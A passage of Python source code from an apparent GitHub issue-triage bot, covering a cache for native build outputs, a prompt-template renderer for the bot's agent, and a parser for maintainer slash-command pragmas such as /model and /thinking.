["git", "cat-file", "--batch-check"],
|
||||
input=stdin,
|
||||
cwd=str(repo_dir),
|
||||
text=True,
|
||||
capture_output=True,
|
||||
check=True,
|
||||
env=_git_safe_directory_env(repo_dir),
|
||||
)
|
||||
lines = proc.stdout.splitlines()
|
||||
if len(lines) != len(CACHE_KEY_PATHS):
|
||||
raise RuntimeError(
|
||||
f"git cat-file returned {len(lines)} lines, expected {len(CACHE_KEY_PATHS)}: {proc.stdout!r}"
|
||||
)
|
||||
h = hashlib.sha256()
|
||||
for path, line in zip(CACHE_KEY_PATHS, lines, strict=True):
|
||||
stripped = line.strip()
|
||||
if stripped.endswith("missing"):
|
||||
tree_hash = _NULL_TREE_HASH
|
||||
else:
|
||||
# "<hash> <type> <size>" — take the first token as the tree/blob hash.
|
||||
tree_hash = stripped.split(None, 1)[0]
|
||||
h.update(f"{path}\t{tree_hash}\n".encode())
|
||||
h.update(f"TARGET\t{tgt}\n".encode())
|
||||
return h.hexdigest()
|
||||
|
||||
|
||||
def _repo_slug(repo: str) -> str:
|
||||
"""Same convention as ``SandboxManager.pool_path``."""
|
||||
return repo.replace("/", "__")
|
||||
|
||||
|
||||
def _atomic_link(src: Path, dst: Path) -> None:
|
||||
"""Hardlink ``src`` → ``dst``, replacing any existing ``dst`` atomically.
|
||||
|
||||
Falls back to ``shutil.copy2`` on ``EXDEV`` (cross-filesystem). The
|
||||
replace semantics use a sibling temp file + ``os.replace`` so a crash
|
||||
mid-link doesn't leave ``dst`` half-overwritten.
|
||||
"""
|
||||
dst.parent.mkdir(parents=True, exist_ok=True)
|
||||
tmp = dst.with_suffix(dst.suffix + f".tmp.{os.getpid()}")
|
||||
try:
|
||||
try:
|
||||
os.link(src, tmp)
|
||||
except OSError as exc:
|
||||
if exc.errno != errno.EXDEV:
|
||||
raise
|
||||
shutil.copy2(src, tmp)
|
||||
os.replace(tmp, dst)
|
||||
finally:
|
||||
# Best-effort cleanup if os.link succeeded but os.replace blew up.
|
||||
try:
|
||||
tmp.unlink()
|
||||
except FileNotFoundError:
|
||||
pass
|
||||
|
||||
|
||||
def _atomic_copy(src: Path, dst: Path) -> None:
|
||||
"""Copy ``src`` → ``dst`` via a sibling temp file + ``os.replace``.
|
||||
|
||||
Used for cached files that downstream tools rewrite via
|
||||
``open(..., 'w')`` (in-place truncate). Replacing the workspace dst
|
||||
atomically means a fresh inode every populate — the cache file is
|
||||
never mutated through a hardlink.
|
||||
"""
|
||||
dst.parent.mkdir(parents=True, exist_ok=True)
|
||||
tmp = dst.with_suffix(dst.suffix + f".tmp.{os.getpid()}")
|
||||
try:
|
||||
shutil.copy2(src, tmp)
|
||||
os.replace(tmp, dst)
|
||||
finally:
|
||||
try:
|
||||
tmp.unlink()
|
||||
except FileNotFoundError:
|
||||
pass
|
||||
|
||||
|
||||
@contextmanager
|
||||
def _flock(path: Path) -> Generator[IO[bytes]]:
|
||||
"""Exclusive ``fcntl.flock`` on ``path`` (created if missing).
|
||||
|
||||
``flock`` is advisory but every caller goes through ``NativesCache``, so
|
||||
cooperative locking is sufficient. POSIX-only — Windows is not a target.
|
||||
"""
|
||||
path.parent.mkdir(parents=True, exist_ok=True)
|
||||
fh = open(path, "ab+") # noqa: SIM115 — managed by the context manager
|
||||
try:
|
||||
fcntl.flock(fh.fileno(), fcntl.LOCK_EX)
|
||||
yield fh
|
||||
finally:
|
||||
try:
|
||||
fcntl.flock(fh.fileno(), fcntl.LOCK_UN)
|
||||
finally:
|
||||
fh.close()
|
||||
|
||||
|
||||
@dataclass(slots=True, frozen=True)
|
||||
class CacheHit:
|
||||
"""Files copied/linked into the workspace by ``populate_workspace``."""
|
||||
|
||||
cache_dir: Path
|
||||
files: tuple[Path, ...]
|
||||
|
||||
|
||||
class NativesCache:
|
||||
"""Per-repo content-addressed cache of pi-natives build outputs."""
|
||||
|
||||
def __init__(
|
||||
self,
|
||||
root: Path,
|
||||
*,
|
||||
max_entries_per_repo: int = 8,
|
||||
max_bytes: int = 4 * 1024**3,
|
||||
) -> None:
|
||||
self.root = root
|
||||
self.max_entries_per_repo = max(1, max_entries_per_repo)
|
||||
self.max_bytes = max(0, max_bytes)
|
||||
root.mkdir(parents=True, exist_ok=True)
|
||||
|
||||
# ---- layout helpers ----
|
||||
def repo_root(self, repo: str) -> Path:
|
||||
return self.root / _repo_slug(repo)
|
||||
|
||||
def entry_dir(self, repo: str, key: str) -> Path:
|
||||
return self.repo_root(repo) / key
|
||||
|
||||
def lockfile(self, repo: str) -> Path:
|
||||
return self.repo_root(repo) / _LOCKFILE_NAME
|
||||
|
||||
# ---- query ----
|
||||
def lookup(self, repo: str, key: str) -> Path | None:
|
||||
"""Return the cache directory if ``key`` is present and complete."""
|
||||
entry = self.entry_dir(repo, key)
|
||||
if not (entry / _MANIFEST_FILENAME).exists():
|
||||
return None
|
||||
# A complete entry has a node file plus all companions.
|
||||
if not list(entry.glob(_CACHED_NODE_GLOB)):
|
||||
return None
|
||||
for name in _CACHED_COMPANION_FILES:
|
||||
if not (entry / name).exists():
|
||||
return None
|
||||
return entry
|
||||
|
||||
# ---- populate (workspace ← cache) ----
|
||||
def populate_workspace(
|
||||
self,
|
||||
repo: str,
|
||||
key: str,
|
||||
native_dir: Path,
|
||||
) -> CacheHit | None:
|
||||
"""Hardlink the `.node`, copy companions, into ``native_dir``.
|
||||
|
||||
Returns the ``CacheHit`` on a hit; ``None`` on miss. Caller has
|
||||
already computed ``key`` and verified ``native_dir`` exists.
|
||||
|
||||
Why hardlink the .node but COPY the companions: the napi build's
|
||||
``installBinary`` replaces the .node via temp + rename (new inode,
|
||||
cache safe), but ``installGeneratedBindings`` and ``gen-enums.ts``
|
||||
rewrite ``index.d.ts`` / ``index.js`` / ``embedded-addon.js`` with
|
||||
plain ``open(..., 'w')`` — that's open-truncate-write IN PLACE on
|
||||
Linux. A hardlinked companion would propagate the truncate into the
|
||||
cache. Copies are independent inodes and absorb the rewrite safely.
|
||||
"""
|
||||
entry = self.lookup(repo, key)
|
||||
if entry is None:
|
||||
return None
|
||||
native_dir.mkdir(parents=True, exist_ok=True)
|
||||
copied: list[Path] = []
|
||||
for src in entry.glob(_CACHED_NODE_GLOB):
|
||||
dst = native_dir / src.name
|
||||
_atomic_link(src, dst)
|
||||
copied.append(dst)
|
||||
for name in _CACHED_COMPANION_FILES:
|
||||
src = entry / name
|
||||
dst = native_dir / name
|
||||
_atomic_copy(src, dst)
|
||||
copied.append(dst)
|
||||
return CacheHit(cache_dir=entry, files=tuple(copied))
|
||||
|
||||
# ---- capture (cache ← workspace) ----
|
||||
def capture(
|
||||
self,
|
||||
repo: str,
|
||||
key: str,
|
||||
native_dir: Path,
|
||||
*,
|
||||
source_workspace: str | None = None,
|
||||
commit: str | None = None,
|
||||
) -> Path | None:
|
||||
"""Atomically capture ``native_dir`` contents under ``key``.
|
||||
|
||||
Returns the final cache directory on store, ``None`` if there was
|
||||
nothing to capture or if another worker already populated the same
|
||||
key (idempotent under flock).
|
||||
"""
|
||||
node_files = sorted(native_dir.glob(_CACHED_NODE_GLOB))
|
||||
if not node_files:
|
||||
return None
|
||||
# Every companion must exist or the entry would be incomplete.
|
||||
for name in _CACHED_COMPANION_FILES:
|
||||
if not (native_dir / name).exists():
|
||||
return None
|
||||
|
||||
repo_root = self.repo_root(repo)
|
||||
repo_root.mkdir(parents=True, exist_ok=True)
|
||||
with _flock(self.lockfile(repo)):
|
||||
# TOCTOU recheck: another worker may have captured the same key
|
||||
# while we waited on the lock.
|
||||
if self.lookup(repo, key) is not None:
|
||||
return self.entry_dir(repo, key)
|
||||
|
||||
final = self.entry_dir(repo, key)
|
||||
staging = repo_root / f".{key}.tmp.{os.getpid()}"
|
||||
if staging.exists():
|
||||
shutil.rmtree(staging, ignore_errors=True)
|
||||
staging.mkdir(parents=True)
|
||||
try:
|
||||
# NOTE: capture uses COPY, not hardlink. Hardlinking a
|
||||
# slot-owned workspace file into the cache would preserve
|
||||
# the slot's ownership on the cached inode — defeating
|
||||
# the setgid `omp` model that lets other slots read it.
|
||||
# A copy creates a fresh inode owned by the orchestrator
|
||||
# (root) and inherits gid `omp` from the setgid 2770
|
||||
# cache root.
|
||||
for src in node_files:
|
||||
_atomic_copy(src, staging / src.name)
|
||||
for name in _CACHED_COMPANION_FILES:
|
||||
_atomic_copy(native_dir / name, staging / name)
|
||||
manifest = {
|
||||
"key": key,
|
||||
"target": target_triple(),
|
||||
"captured_at": time.time(),
|
||||
"source_workspace": source_workspace,
|
||||
"commit": commit,
|
||||
"node_files": [src.name for src in node_files],
|
||||
}
|
||||
(staging / _MANIFEST_FILENAME).write_text(
|
||||
json.dumps(manifest, indent=2, sort_keys=True), encoding="utf-8"
|
||||
)
|
||||
os.replace(staging, final)
|
||||
except Exception:
|
||||
shutil.rmtree(staging, ignore_errors=True)
|
||||
raise
|
||||
self._gc_locked(repo)
|
||||
return final
|
||||
|
||||
# ---- gc ----
|
||||
def gc(self, repo: str | None = None) -> int:
|
||||
"""Evict entries beyond per-repo or total caps.
|
||||
|
||||
``repo`` scopes to one repo when given; otherwise sweeps every repo
|
||||
directory under ``root``. Returns the count of evicted entries.
|
||||
"""
|
||||
if repo is not None:
|
||||
with _flock(self.lockfile(repo)):
|
||||
return self._gc_locked(repo)
|
||||
total = 0
|
||||
if not self.root.exists():
|
||||
return 0
|
||||
for child in self.root.iterdir():
|
||||
if not child.is_dir():
|
||||
continue
|
||||
# Reconstruct repo identifier from directory name (best-effort;
|
||||
# only used for lockfile path, not for any externally-visible
|
||||
# identifier).
|
||||
repo_name = child.name.replace("__", "/", 1)
|
||||
try:
|
||||
with _flock(self.lockfile(repo_name)):
|
||||
total += self._gc_locked(repo_name)
|
||||
except OSError as exc:
|
||||
log.warning("natives_cache gc skip", extra={"repo": child.name, "err": str(exc)})
|
||||
return total
|
||||
|
||||
def _gc_locked(self, repo: str) -> int:
|
||||
"""Caller MUST hold the per-repo flock."""
|
||||
repo_root = self.repo_root(repo)
|
||||
if not repo_root.exists():
|
||||
return 0
|
||||
entries: list[tuple[float, int, Path]] = []
|
||||
for child in repo_root.iterdir():
|
||||
if not child.is_dir():
|
||||
# Stale staging dirs (".<key>.tmp.<pid>") from a crashed
|
||||
# capture: drop them opportunistically.
|
||||
continue
|
||||
if child.name.startswith("."):
|
||||
shutil.rmtree(child, ignore_errors=True)
|
||||
continue
|
||||
manifest_path = child / _MANIFEST_FILENAME
|
||||
if not manifest_path.exists():
|
||||
# Incomplete entry — evict.
|
||||
shutil.rmtree(child, ignore_errors=True)
|
||||
continue
|
||||
try:
|
||||
manifest = json.loads(manifest_path.read_text(encoding="utf-8"))
|
||||
captured_at = float(manifest.get("captured_at", 0.0))
|
||||
except (OSError, ValueError, json.JSONDecodeError):
|
||||
captured_at = manifest_path.stat().st_mtime
|
||||
size = _dir_size(child)
|
||||
entries.append((captured_at, size, child))
|
||||
entries.sort(key=lambda row: row[0]) # oldest first
|
||||
|
||||
evicted = 0
|
||||
# 1. Per-repo entry-count cap (drop oldest).
|
||||
while len(entries) > self.max_entries_per_repo:
|
||||
_, _, victim = entries.pop(0)
|
||||
shutil.rmtree(victim, ignore_errors=True)
|
||||
evicted += 1
|
||||
|
||||
# 2. Per-repo byte cap (drop oldest until under).
|
||||
if self.max_bytes > 0:
|
||||
total = sum(size for _, size, _ in entries)
|
||||
while total > self.max_bytes and len(entries) > 1:
|
||||
_, size, victim = entries.pop(0)
|
||||
shutil.rmtree(victim, ignore_errors=True)
|
||||
total -= size
|
||||
evicted += 1
|
||||
return evicted
|
||||
|
||||
|
||||
def _dir_size(path: Path) -> int:
|
||||
"""Sum of file sizes under ``path``. Symlinks counted as their lstat
|
||||
size (not the target). Errors swallowed — GC is best-effort."""
|
||||
total = 0
|
||||
for root, _dirs, files in os.walk(path):
|
||||
for name in files:
|
||||
try:
|
||||
total += os.lstat(os.path.join(root, name)).st_size
|
||||
except OSError:
|
||||
pass
|
||||
return total
|
||||
|
||||
|
||||
__all__ = [
|
||||
"CACHE_KEY_PATHS",
|
||||
"CacheHit",
|
||||
"NativesCache",
|
||||
"compute_key",
|
||||
"target_triple",
|
||||
]
|
||||
@@ -0,0 +1,355 @@
|
||||
"""Prompt template loader + renderer.
|
||||
|
||||
Templates use a tiny mustache-style `{{path.to.value}}` placeholder. We do not
|
||||
import a real template engine: the substitution rules are deliberately
|
||||
restrictive so a malformed prompt is impossible to render with surprising
|
||||
side-effects.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import re
|
||||
import tomllib
|
||||
from collections.abc import Mapping
|
||||
from functools import cache
|
||||
from importlib import resources
|
||||
from typing import Any
|
||||
|
||||
from robomp.github_client import CommentInfo, IssueInfo, RepoInfo
|
||||
from robomp.sandbox import Workspace
|
||||
|
||||
_PLACEHOLDER = re.compile(r"\{\{\s*([a-zA-Z0-9_.]+)\s*\}\}")
|
||||
|
||||
|
||||
def _lookup(path: str, scope: Mapping[str, Any]) -> str:
|
||||
parts = path.split(".")
|
||||
value: Any = scope
|
||||
for part in parts:
|
||||
if isinstance(value, Mapping):
|
||||
value = value.get(part)
|
||||
else:
|
||||
value = getattr(value, part, None)
|
||||
if value is None:
|
||||
return ""
|
||||
if isinstance(value, (list, tuple)):
|
||||
return ", ".join(str(item) for item in value)
|
||||
return str(value)
|
||||
|
||||
|
||||
def render(template: str, scope: Mapping[str, Any]) -> str:
|
||||
return _PLACEHOLDER.sub(lambda m: _lookup(m.group(1), scope), template)
|
||||
|
||||
|
||||
@cache
|
||||
def _load(name: str) -> str:
|
||||
return resources.files("robomp.prompts").joinpath(name).read_text(encoding="utf-8")
|
||||
|
||||
|
||||
@cache
|
||||
def _load_toml(name: str) -> Mapping[str, Any]:
|
||||
data = tomllib.loads(_load(name))
|
||||
if not isinstance(data, Mapping):
|
||||
raise ValueError(f"prompt data file {name!r} must contain a TOML table")
|
||||
return data
|
||||
|
||||
|
||||
def _require_mapping(value: Any, context: str) -> Mapping[str, Any]:
|
||||
if not isinstance(value, Mapping):
|
||||
raise ValueError(f"{context} must be a table")
|
||||
return value
|
||||
|
||||
|
||||
def _require_nonempty_str(value: Any, context: str) -> str:
|
||||
if not isinstance(value, str) or not value.strip():
|
||||
raise ValueError(f"{context} must be a non-empty string")
|
||||
return value
|
||||
|
||||
|
||||
def seed_phases(task_kind: str) -> list[dict[str, Any]]:
|
||||
raw_phases = _load_toml("todo_phases.toml").get(task_kind, [])
|
||||
if not isinstance(raw_phases, list):
|
||||
raise ValueError(f"todo_phases.toml[{task_kind!r}] must be a list of phases")
|
||||
|
||||
phases: list[dict[str, Any]] = []
|
||||
for phase_index, raw_phase in enumerate(raw_phases):
|
||||
phase = _require_mapping(raw_phase, f"todo_phases.toml[{task_kind!r}][{phase_index}]")
|
||||
name = _require_nonempty_str(
|
||||
phase.get("name"),
|
||||
f"todo_phases.toml[{task_kind!r}][{phase_index}].name",
|
||||
)
|
||||
raw_tasks = phase.get("tasks")
|
||||
if not isinstance(raw_tasks, list) or not raw_tasks:
|
||||
raise ValueError(f"todo_phases.toml[{task_kind!r}][{phase_index}].tasks must be a non-empty list")
|
||||
tasks = [
|
||||
_require_nonempty_str(
|
||||
task,
|
||||
f"todo_phases.toml[{task_kind!r}][{phase_index}].tasks[{task_index}]",
|
||||
)
|
||||
for task_index, task in enumerate(raw_tasks)
|
||||
]
|
||||
phases.append({"name": name, "tasks": tasks})
|
||||
return phases
|
||||
|
||||
|
||||
def _host_tool_entry(tool_name: str) -> Mapping[str, Any]:
|
||||
return _require_mapping(
|
||||
_load_toml("host_tools.toml").get(tool_name),
|
||||
f"host_tools.toml[{tool_name!r}]",
|
||||
)
|
||||
|
||||
|
||||
def host_tool_description(tool_name: str) -> str:
|
||||
return _require_nonempty_str(
|
||||
_host_tool_entry(tool_name).get("description"),
|
||||
f"host_tools.toml[{tool_name!r}].description",
|
||||
)
|
||||
|
||||
|
||||
def host_tool_parameter_description(tool_name: str, parameter_name: str) -> str:
|
||||
parameters = _require_mapping(
|
||||
_host_tool_entry(tool_name).get("parameters"),
|
||||
f"host_tools.toml[{tool_name!r}].parameters",
|
||||
)
|
||||
return _require_nonempty_str(
|
||||
parameters.get(parameter_name),
|
||||
f"host_tools.toml[{tool_name!r}].parameters[{parameter_name!r}]",
|
||||
)
|
||||
|
||||
|
||||
def classify_next_step(primary: str) -> str:
|
||||
steps = _require_mapping(
|
||||
_host_tool_entry("classify_issue").get("next_steps"),
|
||||
"host_tools.toml['classify_issue'].next_steps",
|
||||
)
|
||||
return _require_nonempty_str(
|
||||
steps.get(primary),
|
||||
f"host_tools.toml['classify_issue'].next_steps[{primary!r}]",
|
||||
)
|
||||
|
||||
|
||||
def system_append(*, repo: RepoInfo, issue: IssueInfo, workspace: Workspace) -> str:
|
||||
return render(_load("system_append.md"), {"repo": repo, "issue": issue, "workspace": workspace})
|
||||
|
||||
|
||||
def kickoff(*, repo: RepoInfo, issue: IssueInfo, workspace: Workspace) -> str:
|
||||
return render(_load("kickoff_issue.md"), {"repo": repo, "issue": issue, "workspace": workspace})
|
||||
|
||||
|
||||
def resume_triage(*, repo: RepoInfo, issue: IssueInfo, workspace: Workspace) -> str:
|
||||
"""Resume prompt for a `triage_issue` task whose omp session already exists."""
|
||||
return render(_load("resume_triage.md"), {"repo": repo, "issue": issue, "workspace": workspace})
|
||||
|
||||
|
||||
def completion_reminder(*, repo: RepoInfo, issue: IssueInfo, workspace: Workspace) -> str:
|
||||
"""Reminder injected when a triage turn ends before a terminal tool fired."""
|
||||
return render(_load("completion_reminder.md"), {"repo": repo, "issue": issue, "workspace": workspace})
|
||||
|
||||
|
||||
def _render_thread(messages: tuple) -> str:
|
||||
"""Render a `tuple[ThreadMessage, ...]` as a markdown block for prompt embed.
|
||||
|
||||
Duck-typed: any object with `.kind / .author / .body / .created_at` and
|
||||
optional `.path / .line / .state` works. Kept here (not in worker.py) so
|
||||
persona owns the prompt-shape.
|
||||
"""
|
||||
if not messages:
|
||||
return "(no prior conversation)"
|
||||
parts: list[str] = []
|
||||
for m in messages:
|
||||
kind = getattr(m, "kind", "comment")
|
||||
author = getattr(m, "author", "") or "unknown"
|
||||
body = getattr(m, "body", "") or ""
|
||||
ts = getattr(m, "created_at", "") or ""
|
||||
if kind in ("issue_body", "pr_body"):
|
||||
header = f"### @{author} — {'PR body' if kind == 'pr_body' else 'issue body'}"
|
||||
elif kind == "review_comment":
|
||||
path = getattr(m, "path", None)
|
||||
line = getattr(m, "line", None)
|
||||
anchor = f"`{path}`" + (f":L{line}" if isinstance(line, int) else "")
|
||||
header = f"### @{author} — review comment on {anchor}"
|
||||
elif kind == "review":
|
||||
state = getattr(m, "state", None) or "COMMENTED"
|
||||
header = f"### @{author} — review ({state})"
|
||||
else:
|
||||
header = f"### @{author} — comment"
|
||||
if ts:
|
||||
header += f" *({ts})*"
|
||||
parts.append(header)
|
||||
parts.append("")
|
||||
parts.append(body.rstrip())
|
||||
parts.append("")
|
||||
return "\n".join(parts).rstrip()
|
||||
|
||||
|
||||
def kickoff_directive(
|
||||
*,
|
||||
repo: RepoInfo,
|
||||
issue: IssueInfo,
|
||||
workspace: Workspace,
|
||||
directive: Any,
|
||||
) -> str:
|
||||
"""Kickoff for an untriaged issue that arrived via a maintainer mention.
|
||||
|
||||
`directive` is duck-typed to anything with `body`, `author`, and `thread`
|
||||
attributes (see `worker.DirectiveInfo`). Imported lazily to avoid a
|
||||
persona → worker circular dependency.
|
||||
"""
|
||||
return render(
|
||||
_load("kickoff_directive.md"),
|
||||
{
|
||||
"repo": repo,
|
||||
"issue": issue,
|
||||
"workspace": workspace,
|
||||
"directive": {"body": directive.body, "author": directive.author},
|
||||
"thread": _render_thread(getattr(directive, "thread", ()) or ()),
|
||||
},
|
||||
)
|
||||
|
||||
|
||||
def _inbound_scope(issue: IssueInfo, pr_number: int | None) -> dict[str, Any]:
|
||||
"""Describe the thread the inbound webhook arrived on.
|
||||
|
||||
For PR conversations and review comments `pr_number` is the PR; for
|
||||
regular issue comments it's None and we fall back to the issue. The
|
||||
`kind` field lets prompts say "PR" or "issue" without branching in the
|
||||
template engine.
|
||||
"""
|
||||
if pr_number is not None:
|
||||
return {"kind": "PR", "number": pr_number}
|
||||
return {"kind": "issue", "number": issue.number}
|
||||
|
||||
|
||||
def _origin_scope(issue: IssueInfo) -> dict[str, Any]:
|
||||
if issue.is_pull_request:
|
||||
return {"description": "originating issue unknown; handling this PR directly"}
|
||||
return {"description": f"originating issue #{issue.number}"}
|
||||
|
||||
|
||||
def followup_comment(
|
||||
*,
|
||||
repo: RepoInfo,
|
||||
issue: IssueInfo,
|
||||
comment: CommentInfo,
|
||||
workspace: Workspace,
|
||||
pr_status: str,
|
||||
pr_number: int | None = None,
|
||||
) -> str:
|
||||
return render(
|
||||
_load("followup_comment.md"),
|
||||
{
|
||||
"repo": repo,
|
||||
"issue": issue,
|
||||
"workspace": workspace,
|
||||
"comment": comment,
|
||||
"state": {"pr_status": pr_status},
|
||||
"inbound": _inbound_scope(issue, pr_number),
|
||||
"origin": _origin_scope(issue),
|
||||
},
|
||||
)
|
||||
|
||||
|
||||
def directive(
|
||||
*,
|
||||
repo: RepoInfo,
|
||||
issue: IssueInfo,
|
||||
comment: CommentInfo,
|
||||
workspace: Workspace,
|
||||
directive: Any,
|
||||
pr_status: str,
|
||||
pr_number: int | None = None,
|
||||
) -> str:
|
||||
"""Follow-up flavor for a comment that is a maintainer directive."""
|
||||
return render(
|
||||
_load("directive.md"),
|
||||
{
|
||||
"repo": repo,
|
||||
"issue": issue,
|
||||
"workspace": workspace,
|
||||
"comment": comment,
|
||||
"directive": {"body": directive.body, "author": directive.author},
|
||||
"thread": _render_thread(getattr(directive, "thread", ()) or ()),
|
||||
"state": {"pr_status": pr_status},
|
||||
"inbound": _inbound_scope(issue, pr_number),
|
||||
"origin": _origin_scope(issue),
|
||||
},
|
||||
)
|
||||
|
||||
|
||||
def followup_review(
|
||||
*,
|
||||
repo: RepoInfo,
|
||||
workspace: Workspace,
|
||||
pr_number: int,
|
||||
comment_author: str,
|
||||
comment_body: str,
|
||||
comment_path: str,
|
||||
comment_line_range: str,
|
||||
) -> str:
|
||||
return render(
|
||||
_load("followup_review.md"),
|
||||
{
|
||||
"repo": repo,
|
||||
"workspace": workspace,
|
||||
"pr": {"number": pr_number},
|
||||
"comment": {
|
||||
"author": comment_author,
|
||||
"body": comment_body,
|
||||
"path": comment_path,
|
||||
"line_range": comment_line_range,
|
||||
},
|
||||
},
|
||||
)
|
||||
|
||||
|
||||
def unable_to_reproduce_comment(*, diagnosis: str, info_needed: str) -> str:
|
||||
return render(
|
||||
_load("unable_to_reproduce_comment.md"),
|
||||
{"diagnosis": diagnosis, "info_needed": info_needed},
|
||||
)
|
||||
|
||||
|
||||
def finalized_issue_comment() -> str:
|
||||
return _load("finalized_issue_comment.md").strip()
|
||||
|
||||
|
||||
def finalized_pr_comment() -> str:
|
||||
return _load("finalized_pr_comment.md").strip()
|
||||
|
||||
|
||||
def bare_mention_reply() -> str:
|
||||
return "What would you like me to do?"
|
||||
|
||||
|
||||
def question_autoclose_suffix(hours: float) -> str:
|
||||
"""Render the 👎-to-keep-open suffix appended to the bot's question answers.
|
||||
|
||||
`hours` is rendered without trailing zeros for whole values (e.g. `4`
|
||||
rather than `4.0`); fractional windows render with one decimal.
|
||||
"""
|
||||
if float(hours).is_integer():
|
||||
rendered = str(int(hours))
|
||||
else:
|
||||
rendered = f"{hours:g}"
|
||||
return render(_load("question_autoclose_suffix.md").rstrip(), {"hours": rendered})
|
||||
|
||||
|
||||
__all__ = [
|
||||
"classify_next_step",
|
||||
"directive",
|
||||
"finalized_issue_comment",
|
||||
"finalized_pr_comment",
|
||||
"followup_comment",
|
||||
"followup_review",
|
||||
"host_tool_description",
|
||||
"host_tool_parameter_description",
|
||||
"kickoff",
|
||||
"kickoff_directive",
|
||||
"render",
|
||||
"completion_reminder",
|
||||
"resume_triage",
|
||||
"seed_phases",
|
||||
"system_append",
|
||||
"unable_to_reproduce_comment",
|
||||
"bare_mention_reply",
|
||||
"question_autoclose_suffix",
|
||||
]
|
||||
@@ -0,0 +1,181 @@
|
||||
"""Slash-command pragmas for maintainer directives.
|
||||
|
||||
A *pragma* is a piece of structured metadata a maintainer attaches to a
|
||||
directive comment to steer the agent run. The wire syntax is slash-commands
|
||||
on their own line (chatops convention; identical surface to Slack / Discord
|
||||
/ Probot):
|
||||
|
||||
```
|
||||
@robomp-bot /model gpt /thinking low
|
||||
fix the off-by-one in foo()
|
||||
```
|
||||
|
||||
Or stacked:
|
||||
|
||||
```
|
||||
@robomp-bot
|
||||
/model gpt
|
||||
/thinking low
|
||||
fix the off-by-one
|
||||
```
|
||||
|
||||
Either `/key value` or `/key=value` form is accepted. A line is consumed
|
||||
**only** when every whitespace-separated token on it is a valid slash
|
||||
command — that way an inline `/path/to/file` reference in prose never
|
||||
accidentally tokenizes. Consumed lines are stripped from the body before the
|
||||
agent ever sees them. Non-directive comments (random users) carry no
|
||||
pragmas; this whole surface only applies once the comment is already trusted
|
||||
as a directive (reviewer-bot or maintainer-mention).
|
||||
|
||||
Supported keys (today):
|
||||
|
||||
- `/model <alias>` — pick the first id in `ROBOMP_MODEL` whose model id
|
||||
contains `<alias>` (case-insensitive). Falls back to the normal random
|
||||
pool selection if no member matches.
|
||||
- `/thinking <level>` — override `ROBOMP_THINKING` for this run. Accepts
|
||||
`off|none|no`, `lo|low`, `med|medium`, `hi|high`, `xhi|xhigh`
|
||||
(case-insensitive); anything else is ignored.
|
||||
|
||||
Parser semantics:
|
||||
|
||||
- Pure-command lines are stripped from the body.
|
||||
- Mixed lines (commands + prose) are NOT consumed: the line stays verbatim
|
||||
and no pragmas are extracted from it. Put commands on their own line.
|
||||
- Duplicate keys keep insertion order; callers decide last-vs-first wins.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import re
|
||||
from typing import Literal
|
||||
|
||||
ThinkingLevel = Literal["off", "low", "medium", "high", "xhigh"]
|
||||
|
||||
# Key = ascii lowercase / digit / dash / underscore, must start with a letter.
|
||||
# The value (when using `/key=value` form) runs to end-of-token.
|
||||
_KEY_RE = re.compile(r"^[a-z][a-z0-9_-]*$", re.IGNORECASE)
|
||||
|
||||
|
||||
def _parse_command_line(line: str) -> tuple[tuple[str, str], ...] | None:
|
||||
"""Parse one line as a sequence of slash commands.
|
||||
|
||||
Returns the parsed `(key, value)` pairs, or `None` if the line is not a
|
||||
pure command line (mixed content, malformed, or empty after trim).
|
||||
"""
|
||||
stripped = line.strip()
|
||||
if not stripped or not stripped.startswith("/"):
|
||||
return None
|
||||
tokens = stripped.split()
|
||||
pairs: list[tuple[str, str]] = []
|
||||
i = 0
|
||||
while i < len(tokens):
|
||||
tok = tokens[i]
|
||||
if not tok.startswith("/") or len(tok) < 2:
|
||||
return None
|
||||
# `/key=value` form lives inside one token.
|
||||
if "=" in tok:
|
||||
key, _, value = tok[1:].partition("=")
|
||||
if not _KEY_RE.match(key) or not value:
|
||||
return None
|
||||
pairs.append((key.lower(), value))
|
||||
i += 1
|
||||
continue
|
||||
# `/key value` form needs the next token as value, which must not
|
||||
# itself be a command (otherwise `/key` had no value).
|
||||
key = tok[1:]
|
||||
if not _KEY_RE.match(key):
|
||||
return None
|
||||
if i + 1 >= len(tokens) or tokens[i + 1].startswith("/"):
|
||||
return None
|
||||
pairs.append((key.lower(), tokens[i + 1]))
|
||||
i += 2
|
||||
return tuple(pairs) if pairs else None
|
||||
|
||||
|
||||
def parse_pragmas(body: str) -> tuple[str, tuple[tuple[str, str], ...]]:
|
||||
"""Split `body` into (cleaned_body, pragmas).
|
||||
|
||||
Scans line-by-line. Pure command lines are removed; everything else is
|
||||
preserved verbatim, including blank lines between content. Leading and
|
||||
trailing whitespace on the final body is trimmed.
|
||||
"""
|
||||
if not body:
|
||||
return body, ()
|
||||
found: list[tuple[str, str]] = []
|
||||
kept: list[str] = []
|
||||
# `splitlines(keepends=True)` preserves the original line endings so we
|
||||
# don't accidentally normalize CRLF.
|
||||
for line in body.splitlines(keepends=True):
|
||||
# Strip the trailing newline only for parsing; we'll drop the whole
|
||||
# line on a match either way.
|
||||
bare = line.rstrip("\r\n")
|
||||
commands = _parse_command_line(bare)
|
||||
if commands is None:
|
||||
kept.append(line)
|
||||
continue
|
||||
found.extend(commands)
|
||||
cleaned = "".join(kept).strip("\r\n")
|
||||
return cleaned, tuple(found)
|
||||
|
||||
|
||||
def pragma_value(pragmas: tuple[tuple[str, str], ...], key: str) -> str | None:
|
||||
"""Return the last value for `key` (last-wins), or None if absent."""
|
||||
target = key.lower()
|
||||
result: str | None = None
|
||||
for k, v in pragmas:
|
||||
if k == target:
|
||||
result = v
|
||||
return result
|
||||
|
||||
|
||||
def resolve_model_alias(alias: str, pool: tuple[str, ...]) -> str | None:
|
||||
"""Case-insensitive match of `alias` against each member of `pool`.
|
||||
|
||||
Precedence: full-id exact > short-name-after-slash exact > substring.
|
||||
Returns the first match in pool order, or None if nothing matches.
|
||||
"""
|
||||
needle = alias.strip().lower()
|
||||
if not needle:
|
||||
return None
|
||||
exact: str | None = None
|
||||
partial: str | None = None
|
||||
for model in pool:
|
||||
lower = model.lower()
|
||||
if lower == needle:
|
||||
return model
|
||||
if exact is None and lower.rsplit("/", 1)[-1] == needle:
|
||||
exact = model
|
||||
if partial is None and needle in lower:
|
||||
partial = model
|
||||
return exact or partial
|
||||
|
||||
|
||||
# Spelling aliases for the `/thinking` pragma. Lowercased; whitespace-stripped
|
||||
# input is looked up directly.
|
||||
_THINKING_ALIASES: dict[str, ThinkingLevel] = {
|
||||
"off": "off",
|
||||
"none": "off",
|
